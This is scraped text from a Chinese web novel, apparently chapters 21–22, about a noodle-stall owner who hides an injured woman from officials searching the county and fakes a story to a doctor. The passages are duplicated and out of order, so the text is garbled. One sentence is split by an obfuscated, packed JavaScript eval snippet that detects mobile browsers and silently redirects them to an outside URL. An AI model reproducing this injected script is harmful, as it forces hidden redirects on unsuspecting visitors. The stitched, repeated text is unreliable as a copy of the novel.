穆今羽开始反思,难道是自己没把荣姮养好?怎么人还瘦了这么多? 帕子在水中揉搓几下,拧干,又擦着荣姮的脖颈、手臂。 最后换了新被子给她盖上。 弄完,穆今羽打开门窗通风透气,开始收拾着地上的污秽物。 月黑风高,子时都快过了,穆今羽还埋头在院子里洗着被子。 好不容易洗完晾起来,才终于得了休息。 此时,小彩狸已经趴在她脚旁睡着了,她小心翼翼拖着小彩狸的身体,放到床最里面。 自己也躺了进去,还往墙的方向缩了缩,给荣姮留出极大的空位。 半夜她也睡得不好,又起了一次,热上药喂给荣姮。 第二日天将亮,穆今羽猛地惊醒,先是查看荣姮的状态,后又给荣姮喂了第三次药。 她担忧荣姮的状态,醒了后便再也睡不着,把饭菜一直温在锅里。 开始在院子中洗着锅碗瓢盆。 直至巳时,也就是十点左右,屋中荣姮终于有了点反应,口中发出轻微声响,睫毛在颤动。 穆今羽听到声响,立马来到荣姮身旁,看着她。 苍白如纸的脸色,因着屋外的阳光,被蒙上一层朦胧暖意。 睫毛振翅般颤动后缓缓睁开,水润的双眼波光粼粼地看向穆今羽,眼下两颗红痣像开在水中的红莲,惹眼无比。 不知为何,穆今羽下意识移开眼,呼吸窒住一瞬,随后又猛猛松了一口气。 庆幸荣姮终于是没事了。 穆今羽脸上不自觉扬起笑容,整个人无比宽慰地坐在床边。 好一会儿才重新看向躺着的人。 穆今羽其实觉得荣姮两颗红痣长得挺好看的,她挺想摸摸。 但那样兴许有些冒犯,便没有动作。 “你醒了?可还有哪里不舒服?”穆今羽声音放轻,怕惊扰到病者。 荣姮觉得自己身体暖洋洋的,床也很软,早就没了昨日梦里那般疼痛。 她仔细看着眼前的人,被眼前人明媚阳光开朗的笑容晃了一下 但整个身体却朝里一转,不想理穆今羽。 她记忆还停留在穆今羽把那碗面端走的时候,还记着穆今羽没让她吃饱的事。 穆今羽不知荣姮这动作是什么意思,只当是对方不舒服。她又再次询问了许多,没得到对方的回应也不恼。 反倒是笑着说,“你已经快一天没吃饭了,我给你拿点吃食。” 听到有吃的,荣姮果然给了反应,身子咕蛹了一下。 穆今羽知晓她肯定是想吃的,变转身走到院子中,把锅里一直温热的饭菜端了出来。 顺带手去翻装红薯的布袋,想要拿一个红薯烤在灶里,当做自己的吃食。 也万幸荣恒现在醒了,不然她可得愁的吃不下饭。 手在布袋里翻了好几下,才好不容易掏出一个只有她巴掌那么大的红薯。 穆今羽:? 22. 明天入v 穆今羽做好敲鱼面,没有休息多久,就到了准备去夜市街摆摊的时辰。 出门之前,她特意为荣姮做了晚食,没有红薯的那种。 又给荣姮熬了一副药。 守着对方吃完饭、喝完药才离开。 因着怕对方又趁自己不在,而过量的吃东西,穆今羽把家中所有吃食都放在背篓之中。 背走了。 她其实还交代过,让荣姮不要着急,等好后,一日三餐都让她吃饱。 只是也不知荣姮听懂了没? 来到夜市街,把所有东西都放好。 她照例让小彩狸待在倒扣的背篓中,怕小彩狸难受,她今日还专门拿了一件外衣叠在一起,给小彩狸当窝,这样能睡得舒服些。 小彩狸倒是也乖,白日里跟着她跳来跳去,现下正是困顿之际,在背篓中也呆得住。 看着对方在背篓里呼噜呼噜踩了好一会儿爪,最终蜷缩下来,埋头睡觉。 穆今羽的心情也忍不住跟着变好。 等这小家伙伤好,就可以放它出来跑跳了。 时间一分一秒流逝,夜市街人多了起来,穆今羽也逐渐忙碌起来。 今日没有碰见昨日那般倒霉之事,顺顺利利的让她卖完了七斤多的敲鱼面。 自从她这里有小碗的面卖后,好些晚食吃得饱饱的客人,也愿意尝试她的面了。 小碗的面比大碗还好卖。 那经常捧她场的姑娘,据说还是楼许县有名的美食品鉴人。还帮她大肆推荐过她的敲鱼面,惹得好些人慕名前来。 接下来三日,穆今羽每日都比前一日多加了一两斤的面。 直至敲鱼面的量加到第十斤,每晚正好卖完不会剩。 她也正好忙得过来,虽然很累,但不至于把人累趴下。 她本因干活太多而酸软无力的身体,也逐渐适应过来,开始变得有力。 一切都在步入正轨,穆今羽每日心情都很好,干劲儿满满,就想着多赚些银子,自己能吃上一口肉。 第三日晚,她时不时听见坐在自己摊位后的客人,交谈之中出现搜查、刺客、抓了好些人的字眼。 穆今羽捞面的动作没有停顿,心中却忍不住泛起担忧。 看来那些人已经到了楼许县之中。 希望会没事儿。 当夜子时收摊回到家,穆今羽如同往日那般,看见了坐在院门旁的荣姮。 这几日下来,她已经有些明白过来,每次都能在院门旁看见荣姮,是因为荣姮在等她回来。 虽然每次对方看见她回来,做的第一件事不是迎接她,而是远离她。 也因着这件事,穆今羽对荣姮的戒备逐渐放下,好像荣姮也没有想象中那么令人害怕。 走进院子,她先是把特意给荣姮留的敲鱼面端出,递给对方。 荣姮食量大,一日要吃四餐才不会饿! 等着荣姮吃完一大碗敲鱼面,穆今羽才带着人进到屋中,对她说道:“最近这几日不太平。夜晚我不在家之时,如果听见有人靠近,你就躲藏在床下。” 她把床下撒着的泥土全部刨开,把木板揭起,露出下面的土坑。 “来,你钻进去,看看能不能藏下。” “脏。”荣姮脑袋朝一旁偏开,并不配合。 穆今羽恐吓她,“你要是不听话被抓走了,每日就吃不到东西,肚子会一直很饿很饿,那多可怕呀~” “……” 荣姮脑袋中立马出现自己肚子饿,却怎么都找不到东西吃,最后只得捂住肚子倒在地上的场景。 她脸上的表情转为生气,拳头紧紧握着,冲着空气瞪了几眼后,听话地矮身钻进床下的坑洞中。 还真别说,那坑躺下一个荣姮后,还有富余,看起来就是为了藏人而挖的模样。 穆今羽松了口气,让荣姮出来,并重新埋好那坑。 “你进了那坑中不要说话,也不要发出声响。安全后,我自会放你出来。” “那些人都是坏人,你需要躲着他们,要是被他们抓走,就没办法像现在这样吃很多东西了。” 现在的荣姮听得懂她在讲什么,只是还不怎么开口说话,每日能蹦出一两个字,就谢天谢地了。 穆今羽不断的给她说着那些人有多可怕,只希望真到被搜的时候,荣姮能好好配合。 - 官府的人一批一批 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842638|191348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在楼许县中奔走,挨家挨户搜查着,把整个楼许县搞得乌烟瘴气。 医馆是重点搜查的地方。 他们不仅把医馆里的每一寸瓦、每一块砖都翻了个底儿朝天。 还把医馆的米面袋子也刺得千疮百孔,鸡蛋被摇匀,药材被劈成两半。 任凭医馆老板怎么哀求都无济于事。 医馆的人也被抓在一起,反复询问他们有没有见过身上有无数刀伤,还有中毒迹象的坤泽女子。 实在问不到线索,便开始问他们有没有遇见过什么怪事? 替穆今羽开过药的大夫,脑海中闪过她的面容,心中是觉得穆今羽有些奇怪的。 但那种养的有特殊癖好的外室的乾元,有些奇怪也是应该的吧? 况且让她在那么多人面前说这种事,她也不好说出口啊。 万一这些官差觉得她脏了他们的耳朵,砍了她的脑袋怎么办? 思来想去,大夫老老实实低着头,跪在地上默不作声。 官差折腾了他们一日,见实在搜不出东西,也问不出什么,便又把他们放回去。 继续挨家挨户搜查。 第四日早晨,天还没亮,穆今羽和荣姮两人都在熟睡中的时候。 往日无比安静的夜市街突然吵闹起来。 尖叫声呵斥声混杂,猫叫狗吠伴随着打杂的声音一同响起。 穆今羽惊醒,连件衣服都没有披,快步跑到院中,侧耳倾听。 “出来!出来!衙门办案!” “都站好!家中可还有其他人?可藏的有人?可有见过什么形迹可疑的人?” 其中一官差大声询问完,就传来一阵噼里啪啦砸东西的声音。 听得穆今羽心惊胆战、头皮发麻。 她赶忙跑回屋子中,把荣姮拉起来,小声道:“快!快躲起来,千万别出声,小心被抓走!” 她来不及让荣姮穿好衣服,就把人塞到床下的坑洞之中,仔仔细细盖好木板,掩好尘土,还拍了两下。 力求让那些官差看不出这里的不同。 几乎是穆今羽做完这些的下一秒! 剧烈敲门声响起,砸的整个院子都在颤抖! 21、第 21 章 穆今羽不清楚是否还有更好的办法,帮她们度过眼前的难关。 但现下她只能想到这么做了。 快速挑好自己要的大白菜,付钱,离开了菜市。 她没有回家,而是绕路到医馆。 刚一走近,坐在医馆中的大夫就认出了她,还询问道:“你家那姑娘可是还没好?” 穆今羽听到这话,只是在心中庆幸自己今天来了,否则这大夫心里不知还会记多久。 她丧眉拉眼地坐在大夫对面,抬起头看向大夫,嘴张了张,比话先出口的是一声叹息。 随后又低下脑袋,久久沉默不语。 一副极度伤心难受的模样。 这可把大夫看懵,脑海中来回回想,昨夜那姑娘难道病得很重?难道今日已经已经……去了? 不应该呀,昨夜那姑娘不就是个简单的发热吗?哪能有这么严重? 大夫一时间不知该作何反应,也没法催促询问,只能愣愣地看着穆今羽表演。 穆今羽来回叹了好几声气,那一脸绝望的、想不开的神情,吓走了医馆其他的病人。 真怕她当场做什么傻事,波及到他们。 觉得自己的情绪起得差不多后,穆今羽才脸色蜡黄,声音颤抖道:“好了,跑了。” 大夫:? 大夫还想再问,她却是摇头摆手,一副不想再说的模样。 “大夫,你还是给我看看我有没有肾虚吧。” 大夫:?? 大夫彻底搞不懂她要干什么了,看看她的脸色,又看看她放在脉枕上的手,一脸懵的开始号脉。 好一会儿后才说道:“没有肾虚。只是近日有些操劳过度,得好生歇息。” 听到这话,穆今羽又重重叹了口气。 双手猛地握住大夫的手,压低声音,双眼渴求地说道:“大夫你给我开点药吧,我真的受不了了。” “你知道的,那姑娘是我赎回来的,养在那院子中,别人可都不知晓,只有你知晓的啊!” “我实在是不知道该找谁了!” 大夫:??? 外室? 脏耳朵了!她为什么要听这些污言秽耳的东西!? 她努力把手往外抽,没抽出。 只得继续被穆今羽握着她的手道:“可、可、可那姑娘嫌弃我不中用!今早好了后就跑了!” “她整夜整夜缠着我,要玩那些乱七八糟的东西,我也没说不愿意呀!” “你看,她要抽我掐我,我都乐意的啊,可她为什么要嫌弃我呢?” 穆今羽把自己领子一拉,脖颈上的伤一露。 那因为她近日忙,根本没有好好换药的伤口露了出来。指甲印不似最初那么明显,半好不好,看起来确实像某些癖好留下来的伤口。 “你看大夫,我没说不愿意呀,我不都还由着她了吗!可他为什么要嫌我不中用呀!” 穆今羽作势还要去拉自己衣服,给大夫看自己身上的鞭痕。 大夫:…… 幸得大夫眼疾手快,用另一只手把穆金宇按了下来。 她没兴趣!她不想看! 她被穆今羽一番操作搞得根本无法思考,只能喃喃道一句,“你现下虽没肾虚,但也要节制啊。” “我现在是不节制都得节制了。”穆今羽一脸难过,眼睛发红地说,“要不是我那外室嫌我不中用,跑了,我肯定节制不了。 她就是要我的命,我给她又如何?可她为什么要跑呢?” “大夫,要不你给我开点药吧!我离不开她的!求求你就让我挽回她吧!” 穆今羽就像绝望的溺水者,抓住唯一那根救命稻草那般,神情异常激动,眼泪哗哗地流。 大夫:??? 这是她说挽回就能挽回的吗?这关她什么事啊?问她干嘛? 大夫一直在努力的想把自己的手从穆今羽的手中抽出,可穆今羽握得死紧,根本就不让她有离开的机会。 只得一直听着对方说自己有多离不开那外室,有多喜欢那外室。明明什么要求都答应了,竟然还是留不住人,她真是不中用的话。 听得大夫都以为是自己不中用了。 无法,为了赶紧把这伤心人打发走,大夫还是给穆今羽开了两副“中用”的药。 把穆今羽送走时,她还叮嘱道:“你脖子上的伤得注意,别再如此过度了……” 话说到一半顿住,也是叹了口气道:“唉算了,你也无法过度了,回去好好过活吧,别想东想西的。” 穆今羽边哭边点头,拿着药,跌跌撞撞地跑了。 她一口气跑了好几条街,彻底远离医馆后才停下来,在一处小巷子里剧烈地喘着粗气。 天哪!她没想到自己居然这么有本事,还能去医馆演一出。 现如今,那大夫估计是信了荣姮已经跑了的事,即便是有官差来她家搜查,只要找不到荣姮,她就没事。 毕竟谁也说不清楚,在她家的到底是外室,还是摄政王。 只是……只是她的名声坏了呀! 穆今羽捧着自己发烫的脸颊,琥珀色的眸子左看看右看看,极为不好意思。 她也没想到自己居然能说出那些话来,什么抽她掐她都行,她简直也太会乱说了。 天哪!这事她得烂在肚子里,绝对不能让其他人,尤其是荣姮知晓。 她往自己发烫的脸颊上拍了好几下,又来回揉搓,让自己的表情恢复如初,别那么僵硬,这才敢往家的方向走。 回到家中,她也没好意思同荣姮说话,低着脑袋把碗筷收走,洗了后老老实实地做着自己的敲鱼面。 当荣姮休息的差不多,从床上下来又蹲到灶台旁,手指戳着她拿回来的中用的药,好奇问道:“什么?是什么?”时。 穆今羽大惊,才控制好的神情瞬间变得慌张,脸色骤然涨红,手忙脚乱地把那两副药给抢回来。 糊里糊涂道:“别碰别碰!不是什么!不是什么!总之你别碰就行!” 她拿着药藏在怀里,在院子中着急忙慌走来走去,都没找到一个可以藏药的地方。 怎么办怎么办?她得藏好,别让荣姮看出不对。 最终,她来到自己屋子里,把门关上,把药藏在了床下的坑洞中。 想着荣姮又不知晓她把药藏在哪里,肯定是找不到的。 穆今羽满意地看着自己藏好的药,松了口气,又小心翼翼的回到灶台边,继续做着自己的敲鱼面。 只是人一尴尬,话就有些多。 她只要一不小心对上荣姮的视线,口中就会自动冒出,“那东西没什么的。” “那东西不是我的。” “那东西根本没用!”《 》 22、明天入v 穆今羽做好敲鱼面,没有休息多久,就到了准备去夜市街摆摊的时辰。 出门之前,她特意为荣姮做了晚食,没有红薯的那种。 又给荣姮熬了一副药。 守着对方吃完饭、喝完药才离开。 因着怕对方又趁自己不在,而过量的吃东西,穆今羽把家中所有吃食都放在背篓之中。 背走了。 她其实还交代过,让荣姮不要着急,等好后,一日三餐都让她吃饱。 只是也不知荣姮听懂了没? 来到夜市街,把所有东西都放好。 她照例让小彩狸待在倒扣的背篓中,怕小彩狸难受,她今日还专门拿了一件外衣叠在一起,给小彩狸当窝,这样能睡得舒服些。 小彩狸倒是也乖,白日里跟着她跳来跳去,现下正是困顿之际,在背篓中也呆得住。 看着对方在背篓里呼噜呼噜踩了好一会儿爪,最终蜷缩下来,埋头睡觉。 穆今羽的心情也忍不住跟着变好。 等这小家伙伤好,就可以放它出来跑跳了。 时间一分一秒流逝,夜市街人多了起来,穆今羽也逐渐忙碌起来。 今日没有碰见昨日那般倒霉之事,顺顺利利的让她卖完了七斤多的敲鱼面。 自从她这里有小碗的面卖后,好些晚食吃得饱饱的客人,也愿意尝试她的面了。 小碗的面比大碗还好卖。 那经常捧她场的姑娘,据说还是楼许县有名的美食品鉴人。还帮她大肆推荐过她的敲鱼面,惹得好些人慕名前来。 接下来三日,穆今羽每日都比前一日多加了一两斤的面。 直至敲鱼面的量加到第十斤,每晚正好卖完不会剩。 她也正好忙得过来,虽然很累,但不至于把人累趴下。 她本因干活太多而酸软无力的身体,也逐渐适应过来,开始变得有力。 一切都在步入正轨,穆今羽每日心情都很好,干劲儿满满,就想着多赚些银子,自己能吃上一口肉。 第三日晚,她时不时听见坐在自己摊位后的客人,交谈之中出现搜查、刺客、抓了好些人的字眼。 穆今羽捞面的动作没有停顿,心中却忍不住泛起担忧。 看来那些人已经到了楼许县之中。 希望会没事儿。 当夜子时收摊回到家,穆今羽如同往日那般,看见了坐在院门旁的荣姮。 这几日下来,她已经有些明白过来,每次都能在院门旁看见荣姮,是因为荣姮在等她回来。 虽然每次对方看见她回来,做的第一件事不是迎接她,而是远离她。 也因着这件事,穆今羽对荣姮的戒备逐渐放下,好像荣姮也没有想象中那么令人害怕。 走进院子,她先是把特意给荣姮留的敲鱼面端出,递给对方。 荣姮食量大,一日要吃四餐才不会饿! 等着荣姮吃完一大碗敲鱼面,穆今羽才带着人进到屋中,对她说道:“最近这几日不太平。夜晚我不在家之时,如果听见有人靠近,你就躲藏在床下。” 她把床下撒着的泥土全部刨开,把木板揭起,露出下面的土坑。 “来,你钻进去,看看能不能藏下。” “脏。”荣姮脑袋朝一旁偏开,并不配合。 穆今羽恐吓她,“你要是不听话被抓走了,每日就吃不到东西,肚子会一直很饿很饿,那多可怕呀~” “……” 荣姮脑袋中立马出现自己肚子饿,却怎么都找不到东西吃,最后只得捂住肚子倒在地上的场景。 她脸上的表情转为生气,拳头紧紧握着,冲着空气瞪了几眼后,听话地矮身钻进床下的坑洞中。 还真别说,那坑躺下一个荣姮后,还有富余,看起来就是为了藏人而挖的模样。 穆今羽松了口气,让荣姮出来,并重新埋好那坑。 “你进了那坑中不要说话,也不要发出声响。安全后,我自会放你出来。” “那些人都是坏人,你需要躲着他们,要是被他们抓走,就没办法像现在这样吃很多东西了。” 现在的荣姮听得懂她在讲什么,只是还不怎么开口说话,每日能蹦出一两个字,就谢天谢地了。 穆今羽不断的给她说着那些人有多可怕,只希望真到被搜的时候,荣姮能好好配合。 - 官府的人一批一批在楼许县中奔走,挨家挨户搜查着,把整个楼许县搞得乌烟瘴气。 医馆是重点搜查的地方。 他们不仅把医馆里的每一寸瓦、每一块砖都翻了个底儿朝天。 还把医馆的米面袋子也刺得千疮百孔,鸡蛋被摇匀,药材被劈成两半。 任凭医馆老板怎么哀求都无济于事。 医馆的人也被抓在一起,反复询问他们有没有见过身上有无数刀伤,还有中毒迹象的坤泽女子。 实在问不到线索,便开始问他们有没有遇见过什么怪事? 替穆今羽开过药的大夫,脑海中闪过她的面容,心中是觉得穆今羽有些奇怪的。 但那种养的有特殊癖好的外室的乾元,有些奇怪也是应该的吧? 况且让她在那么多人面前说这种事,她也不好说出口啊。 万一这些官差觉得她脏了他们的耳朵,砍了她的脑袋怎么办? 思来想去,大夫老老实实低着头,跪在地上默不作声。 官差折腾了他们一日,见实在搜不出东西,也问不出什么,便又把他们放回去。 继续挨家挨户搜查。 第四日早晨,天还没亮,穆今羽和荣姮两人都在熟睡中的时候。 往日无比安静的夜市街突然吵闹起来。 尖叫声呵斥声混杂,猫叫狗吠伴随着打杂的声音一同响起。 穆今羽惊醒,连件衣服都没有披,快步跑到院中,侧耳倾听。 “出来!出来!衙门办案!” “都站好!家中可还有其他人?可藏的有人?可有见过什么形迹可疑的人?” 其中一官差大声询问完,就传来一阵噼里啪啦砸东西的声音。 听得穆今羽心惊胆战、头皮发麻。 她赶忙跑回屋子中,把荣姮拉起来,小声道:“快!快躲起来,千万别出声,小心被抓走!” 她来不及让荣姮穿好衣服,就把人塞到床下的坑洞之中,仔仔细细盖好木板,掩好尘土,还拍了两下。 力求让那些官差看不出这里的不同。 几乎是穆今羽做完这些的下一秒! 剧烈敲门声响起,砸的整个院子都在颤抖!《 》